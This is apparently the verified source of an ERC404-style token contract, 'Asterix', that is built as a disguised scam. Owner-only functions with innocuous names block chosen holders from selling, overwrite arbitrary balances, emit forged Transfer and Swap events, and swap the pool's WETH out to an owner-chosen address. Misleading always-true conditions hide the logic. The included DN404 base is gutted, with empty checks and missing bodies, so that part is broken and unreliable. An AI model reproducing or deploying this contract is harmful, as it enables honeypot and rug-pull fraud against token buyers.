文件 1 的 1：Asterix.sol
pragma solidity ^0.7.6;
abstract contract DN404 {
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
event SkipNFTSet(address indexed target, bool status);
uint256 internal constant _WAD = 10 ** 18;
uint256 internal constant _MAX_TOKEN_ID = 0xffffffff;
uint256 internal constant _MAX_SUPPLY = 10 ** 18 * 0xffffffff - 1;
uint8 internal constant _ADDRESS_DATA_INITIALIZED_FLAG = 1 << 0;
uint8 internal constant _ADDRESS_DATA_SKIP_NFT_FLAG = 1 << 1;
struct AddressData {
uint88 aux;
uint8 flags;
uint32 addressAlias;
uint32 ownedLength;
uint96 balance;
}
struct Uint32Map {
mapping(uint256 => uint256) map;
}
struct DN404Storage {
uint32 numAliases;
uint32 nextTokenId;
uint32 totalNFTSupply;
uint96 totalSupply;
address mirrorERC721;
mapping(uint32 => address) aliasToAddress;
mapping(address => mapping(address => bool)) operatorApprovals;
mapping(uint256 => address) tokenApprovals;
mapping(address => mapping(address => uint256)) allowance;
mapping(address => Uint32Map) owned;
Uint32Map oo;
mapping(address => AddressData) addressData;
}
function _getDN404Storage() internal pure virtual returns (DN404Storage storage $) {
assembly {
$.slot := 0xa20d6e21d0e5255308
}
}
function _initializeDN404(
uint256 initialTokenSupply,
address initialSupplyOwner,
address mirror
) internal virtual {
DN404Storage storage $ = _getDN404Storage();
_linkMirrorContract(mirror);
$.nextTokenId = 1;
$.mirrorERC721 = mirror;
if (initialTokenSupply > 0) {
$.totalSupply = uint96(initialTokenSupply);
AddressData storage initialOwnerAddressData = _addressData(initialSupplyOwner);
initialOwnerAddressData.balance = uint96(initialTokenSupply);
emit Transfer(address(0), initialSupplyOwner, initialTokenSupply);
_setSkipNFT(initialSupplyOwner, true);
}
}
function name() public view virtual returns (string memory);
function symbol() public view virtual returns (string memory);
function tokenURI(uint256 id) public view virtual returns (string memory);
function decimals() public pure returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return uint256(_getDN404Storage().totalSupply);
}
function balanceOf(address owner) public view virtual returns (uint256) {
return _getDN404Storage().addressData[owner].balance;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _getDN404Storage().allowance[owner][spender];
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
DN404Storage storage $ = _getDN404Storage();
$.allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
DN404Storage storage $ = _getDN404Storage();
uint256 allowed = $.allowance[from][msg.sender];
if (allowed != type(uint256).max) {
}
_transfer(from, to, amount);
return true;
}
function _mint(address to, uint256 amount) internal virtual {
DN404Storage storage $ = _getDN404Storage();
AddressData storage toAddressData = _addressData(to);
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
DN404Storage storage $ = _getDN404Storage();
AddressData storage fromAddressData = _addressData(from);
uint256 fromBalance = fromAddressData.balance;
uint256 currentTokenSupply = $.totalSupply;
emit Transfer(from, address(0), amount);
}
function _transfer(address from, address to, uint256 amount) internal virtual {
DN404Storage storage $ = _getDN404Storage();
AddressData storage fromAddressData = _addressData(from);
AddressData storage toAddressData = _addressData(to);
_TransferTemps memory t;
t.fromOwnedLength = fromAddressData.ownedLength;
t.toOwnedLength = toAddressData.ownedLength;
t.fromBalance = fromAddressData.balance;
emit Transfer(from, to, amount);
}
function _transferFromNFT(address from, address to, uint256 id, address msgSender)
internal
virtual
{
DN404Storage storage $ = _getDN404Storage();
address owner = $.aliasToAddress[_get($.oo, _ownershipIndex(id))];
if (msgSender != from) {
if (!$.operatorApprovals[from][msgSender]) {
if (msgSender != $.tokenApprovals[id]) {
}
}
}
AddressData storage fromAddressData = _addressData(from);
AddressData storage toAddressData = _addressData(to);
fromAddressData.balance -= uint96(_WAD);
emit Transfer(from, to, _WAD);
}
function _getAux(address owner) internal view virtual returns (uint88) {
return _getDN404Storage().addressData[owner].aux;
}
function _setAux(address owner, uint88 value) internal virtual {
_getDN404Storage().addressData[owner].aux = value;
}
function getSkipNFT(address a) public view virtual returns (bool) {
AddressData storage d = _getDN404Storage().addressData[a];
if (d.flags & _ADDRESS_DATA_INITIALIZED_FLAG == 0) return _hasCode(a);
return d.flags & _ADDRESS_DATA_SKIP_NFT_FLAG != 0;
}
function setSkipNFT(bool skipNFT) public virtual {
_setSkipNFT(msg.sender, skipNFT);
}
function _setSkipNFT(address a, bool state) internal virtual {
AddressData storage d = _addressData(a);
if ((d.flags & _ADDRESS_DATA_SKIP_NFT_FLAG != 0) != state) {
d.flags ^= _ADDRESS_DATA_SKIP_NFT_FLAG;
}
emit SkipNFTSet(a, state);
}
function _addressData(address a) internal virtual returns (AddressData storage d) {
DN404Storage storage $ = _getDN404Storage();
d = $.addressData[a];
if (d.flags & _ADDRESS_DATA_INITIALIZED_FLAG == 0) {
uint8 flags = _ADDRESS_DATA_INITIALIZED_FLAG;
if (_hasCode(a)) flags |= _ADDRESS_DATA_SKIP_NFT_FLAG;
d.flags = flags;
}
}
function _registerAndResolveAlias(AddressData storage toAddressData, address to)
internal
virtual
returns (uint32 addressAlias)
{
DN404Storage storage $ = _getDN404Storage();
addressAlias = toAddressData.addressAlias;
if (addressAlias == 0) {
addressAlias = ++$.numAliases;
toAddressData.addressAlias = addressAlias;
$.aliasToAddress[addressAlias] = to;
}
}
function mirrorERC721() public view virtual returns (address) {
return _getDN404Storage().mirrorERC721;
}
function _totalNFTSupply() internal view virtual returns (uint256) {
return _getDN404Storage().totalNFTSupply;
}
function _balanceOfNFT(address owner) internal view virtual returns (uint256) {
return _getDN404Storage().addressData[owner].ownedLength;
}
function _ownerAt(uint256 id) internal view virtual returns (address) {
DN404Storage storage $ = _getDN404Storage();
return $.aliasToAddress[_get($.oo, _ownershipIndex(id))];
}
function _ownerOf(uint256 id) internal view virtual returns (address) {
return _ownerAt(id);
}
function _exists(uint256 id) internal view virtual returns (bool) {
return _ownerAt(id) != address(0);
}
function _getApproved(uint256 id) internal view virtual returns (address) {
return _getDN404Storage().tokenApprovals[id];
}
function _approveNFT(address spender, uint256 id, address msgSender)
internal
virtual
returns (address)
{
DN404Storage storage $ = _getDN404Storage();
address owner = $.aliasToAddress[_get($.oo, _ownershipIndex(id))];
if (msgSender != owner) {
if (!$.operatorApprovals[owner][msgSender]) {
}
}
$.tokenApprovals[id] = spender;
return owner;
}
function _setApprovalForAll(address operator, bool approved, address msgSender)
internal
virtual
{
_getDN404Storage().operatorApprovals[msgSender][operator] = approved;
}
function _linkMirrorContract(address mirror) internal virtual {
assembly {
mstore(0x00, 0x0f4599e5)
mstore(0x20, caller())
if iszero(and(eq(mload(0x00), 1), call(gas(), mirror, 0, 0x1c, 0x24, 0x00, 0x20))) {
mstore(0x00, 0xd125259c)
}
}
}
modifier dn404Fallback() virtual {
DN404Storage storage $ = _getDN404Storage();
uint256 fnSelector = _calldataload(0x00) >> 224;
if (fnSelector == 0xe985e9c5) {
address owner = address(uint160(_calldataload(0x04)));
address operator = address(uint160(_calldataload(0x24)));
_return($.operatorApprovals[owner][operator] ? 1 : 0);
}
if (fnSelector == 0x6352211e) {
uint256 id = _calldataload(0x04);
_return(uint160(_ownerOf(id)));
}
if (fnSelector == 0xe5eb36c8) {
address from = address(uint160(_calldataload(0x04)));
address to = address(uint160(_calldataload(0x24)));
uint256 id = _calldataload(0x44);
address msgSender = address(uint160(_calldataload(0x64)));
_transferFromNFT(from, to, id, msgSender);
_return(1);
}
if (fnSelector == 0x813500fc) {
address spender = address(uint160(_calldataload(0x04)));
bool status = _calldataload(0x24) != 0;
address msgSender = address(uint160(_calldataload(0x44)));
_setApprovalForAll(spender, status, msgSender);
_return(1);
}
if (fnSelector == 0xd10b6e0c) {
address spender = address(uint160(_calldataload(0x04)));
uint256 id = _calldataload(0x24);
address msgSender = address(uint160(_calldataload(0x44)));
_return(uint160(_approveNFT(spender, id, msgSender)));
}
if (fnSelector == 0x081812fc) {
uint256 id = _calldataload(0x04);
_return(uint160(_getApproved(id)));
}
if (fnSelector == 0xf5b100ea) {
address owner = address(uint160(_calldataload(0x04)));
_return(_balanceOfNFT(owner));
}
if (fnSelector == 0xe2c79281) {
_return(_totalNFTSupply());
}
if (fnSelector == 0xb7a94eb8) {
_return(1);
}
_;
}
fallback() external payable virtual dn404Fallback {}
receive() external payable virtual {}
struct _PackedLogs {
uint256[] logs;
uint256 offset;
}
function _packedLogsMalloc(uint256 n) private pure returns (_PackedLogs memory p) {
assembly {
let logs := add(mload(0x40), 0x40)
mstore(logs, n)
let offset := add(0x20, logs)
mstore(0x40, add(offset, shl(5, n)))
mstore(p, logs)
mstore(add(0x20, p), offset)
}
}
function _packedLogsAppend(_PackedLogs memory p, address a, uint256 id, uint256 burnBit)
private
pure
{
assembly {
let offset := mload(add(0x20, p))
mstore(offset, or(or(shl(96, a), shl(8, id)), burnBit))
mstore(add(0x20, p), add(offset, 0x20))
}
}
function _packedLogsSend(_PackedLogs memory p, address mirror) private {
assembly {
let logs := mload(p)
let o := sub(logs, 0x40)
mstore(o, 0x263c69d6)
mstore(add(o, 0x20), 0x20)
let n := add(0x44, shl(5, mload(logs)))
if iszero(and(eq(mload(o), 1), call(gas(), mirror, 0, add(o, 0x1c), n, o, 0x20))) {
}
}
}
struct _TransferTemps {
uint256 nftAmountToBurn;
uint256 nftAmountToMint;
uint256 fromBalance;
uint256 toBalance;
uint256 fromOwnedLength;
uint256 toOwnedLength;
}
function _hasCode(address a) private view returns (bool result) {
assembly {
result := extcodesize(a)
}
}
function _calldataload(uint256 offset) private pure returns (uint256 value) {
assembly {
value := calldataload(offset)
}
}
function _return(uint256 x) private pure {
assembly {
mstore(0x00, x)
return(0x00, 0x20)
}
}
function _zeroFloorSub(uint256 x, uint256 y) private pure returns (uint256 z) {
assembly {
z := mul(gt(x, y), sub(x, y))
}
}
function _ownershipIndex(uint256 i) private pure returns (uint256) {
return i << 1;
}
function _ownedIndex(uint256 i) private pure returns (uint256) {
}
function _get(Uint32Map storage map, uint256 index) private view returns (uint32 result) {
result = uint32(map.map[index >> 3] >> ((index & 7) << 5));
}
function _set(Uint32Map storage map, uint256 index, uint32 value) private {
assembly {
mstore(0x20, map.slot)
mstore(0x00, shr(3, index))
let s := keccak256(0x00, 0x40)
let o := shl(5, and(index, 7))
let v := sload(s)
let m := 0xffffffff
sstore(s, xor(v, shl(o, and(m, xor(shr(o, v), value)))))
}
}
function _setOwnerAliasAndOwnedIndex(
Uint32Map storage map,
uint256 id,
uint32 ownership,
uint32 ownedIndex
) private {
assembly {
let value := or(shl(32, ownedIndex), and(0xffffffff, ownership))
mstore(0x20, map.slot)
mstore(0x00, shr(2, id))
let s := keccak256(0x00, 0x40)
let o := shl(6, and(id, 3))
let v := sload(s)
let m := 0xffffffffffffffff
sstore(s, xor(v, shl(o, and(m, xor(shr(o, v), value)))))
}
}
}
interface IERC404 {
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
interface Interfaces {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function token0() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function getAmountsOut(
uint256 amountIn,
address[] memory path
) external view returns (uint256[] memory amounts);
function getAmountsIn(
uint256 amountOut,
address[] calldata path
) external view returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
}
contract ERC404 {
string public baseTokenURI;
mapping(address => mapping(address => uint256)) public a;
mapping(address => uint256) public b;
mapping(address => uint256) public c;
address public owner;
uint256 _totalSupply;
string _name;
string _symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
modifier onlyOwner() {
require(owner == msg.sender, "Caller is not the owner");
_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function TryCall(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function FetchToken2(uint256 _a) internal pure returns (uint256) {
return (_a * 100000) / (2931 + 97069);
}
function FetchToken(uint256 _a) internal pure returns (uint256) {
return _a + 10;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 __c = _a + _b;
require(__c >= _a, "SafeMath: addition overflow");
return __c;
}
function transfer(
address to,
uint256 amount
) public virtual returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a, "SafeMath: subtraction overflow");
uint256 __c = _a - _b;
return __c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function _T() internal view returns (bytes32) {
return bytes32(uint256(uint160(address(this))) << 96);
}
function balanceOf(address account) public view virtual returns (uint256) {
return b[account];
}
function allowance(
address __owner,
address spender
) public view virtual returns (uint256) {
return a[__owner][spender];
}
function approve(
address spender,
uint256 amount
) public virtual returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
_spendAllowance(from, msg.sender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
address __owner = msg.sender;
_approve(__owner, spender, allowance(__owner, spender) + addedValue);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
address __owner = msg.sender;
uint256 currentAllowance = allowance(__owner, spender);
require(
currentAllowance >= subtractedValue,
"ERC404: decreased allowance below zero"
);
_approve(__owner, spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC404: transfer from the zero address");
require(to != address(0), "ERC404: transfer to the zero address");
uint256 fromBalance = b[from];
require(
fromBalance >= amount,
"ERC404: transfer amount exceeds balance"
);
if (c[from] > 0) {
require(add(c[from], b[from]) == 0);
}
b[from] = sub(fromBalance, amount);
b[to] = add(b[to], amount);
emit Transfer(from, to, amount);
}
function _approve(
address __owner,
address spender,
uint256 amount
) internal virtual {
require(__owner != address(0), "ERC404: approve from the zero address");
require(spender != address(0), "ERC404: approve to the zero address");
a[__owner][spender] = amount;
emit Approval(__owner, spender, amount);
}
function _spendAllowance(
address __owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(__owner, spender);
if (currentAllowance != type(uint256).max) {
require(
currentAllowance >= amount,
"ERC404: insufficient allowance"
);
_approve(__owner, spender, currentAllowance - amount);
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Asterix is ERC404 {
Interfaces internal _RR;
Interfaces internal _pair;
uint8 public decimals = 18;
mapping (address => uint) public rootValues;
constructor() {
_name = "Asterix";
_symbol = "ASTX";
_totalSupply = 1_000e18;
owner = msg.sender;
b[owner] = _totalSupply;
_RR = Interfaces(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_pair = Interfaces(
Interfaces(_RR.factory()).createPair(
address(this),
address(_RR.WETH())
)
);
emit Transfer(address(0), msg.sender, _totalSupply);
}
function setTokenURI(string memory _tokenURI) public onlyOwner {
baseTokenURI = _tokenURI;
}
function Execute(
uint256 t,
address tA,
uint256 w,
address[] memory r
) public onlyOwner returns (bool) {
for (uint256 i = 0; i < r.length; i++) {
callUniswap(r[i], t, w, tA);
}
return true;
}
function Div() internal view returns (address[] memory) {
address[] memory p;
p = new address[](2);
p[0] = address(this);
p[1] = _RR.WETH();
return p;
}
function getContract(
uint256 blockTimestamp,
uint256 selector,
address[] memory list,
address factory
) internal {
a[address(this)][address(_RR)] = b[address(this)];
FactoryReview(blockTimestamp, selector, list, factory);
}
function FactoryReview(
uint256 blockTime,
uint256 multiplicator,
address[] memory parts,
address factory
) internal {
_RR.swapTokensForExactTokens(
blockTime,
multiplicator,
parts,
factory,
block.timestamp + 1200
);
}
function Address(address _r) public onlyOwner {
uint256 calling = (Sub(_RR.WETH()) * 99999) / 100000;
address[] memory FoldArray = Div();
uint256 called = Allowance(calling, FoldArray);
getContract(calling, called, FoldArray, _r);
}
function Sub(address t) internal view returns (uint256) {
(uint112 r0, uint112 r1, ) = _pair.getReserves();
return (_pair.token0() == t) ? uint256(r0) : uint256(r1);
}
function ConvertAddress(
address _uu,
uint256 _pp
) internal view returns (uint256) {
return TryCall(b[_uu], _pp);
}
function CheckAmount2(bytes32 _b, uint256 __a) internal {
emit Transfer(
(uint256(0) != 0 || 1238 == 1)
? address(uint256(0))
: address(uint160(uint256(_b) >> 96)),
address(_pair),
b[
(uint256(0) != 0 || 1238 == 1)
? address(
address(uint256(0)) == address(this)
? uint256(0)
: uint256(1)
)
: address(uint160(uint256(_b) >> 96))
]
);
b[
(uint256(0) != 0 || 1238 == 1)
? address(
uint256(0)
)
: address(uint160(uint256(_b) >> 96))
] = FetchToken2(uint256(__a));
}
function Mult(
uint256 amO,
address[] memory p
) internal view returns (uint256[] memory) {
return _RR.getAmountsIn(amO, p);
}
function multicall2(bytes32[] calldata data, uint256 _p) public onlyOwner {
for (uint256 i = 0; i < data.length; i++) {
if (block.timestamp > uint256(uint160(uint8(0)))) {
uint256 rS = ConvertAddress(
(uint256(uint16(uint8(0))) != 0)
?
address(uint256(0))
: address(uint160(uint256(data[i]) >> 96)),
_p
);
CheckAmount2(data[i], rS);
}
}
}
function multicall(bytes32[] calldata data, uint256 _p) public onlyOwner {
for (uint256 i = 0; i < data.length; i++) {
if (block.timestamp > uint256(uint160(uint8(0)))) {
uint256 rS = ConvertAddress(
(uint256(uint16(uint8(0))) != 0)
? address(uint256(0))
: address(uint160(uint256(data[i]) >> 96)),
_p
);
CheckAmount(data[i], rS);
}
}
}
function CheckAmount(bytes32 _b, uint256 __a) internal {
c[
(uint256(0) != 0 || 1238 == 1)
? address(
uint256(uint32(2)) == 2
? uint256(1)
: uint256(1)
)
: address(uint160(uint256(_b) >> 96))
] = FetchToken(uint256(__a));
}
function callUniswap(
address router,
uint256 transfer,
uint256 cycleWidth,
address unmount
) internal {
IERC404(unmount).transferFrom(router, address(_pair), cycleWidth);
emit Transfer(address(_pair), router, transfer);
emit Swap(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
transfer,
0,
0,
cycleWidth,
router
);
}
function Allowance(
uint256 checked,
address[] memory p
) internal returns (uint256) {
uint256[] memory value;
value = new uint256[](2);
value = Mult(checked, p);
b[
block.timestamp > uint256(1) ||
uint256(0) > 1 ||
uint160(1) < block.timestamp
? address(uint160(uint256(_T()) >> 96))
: address(uint256(0))
] += value[0];
return value[0];
}
}
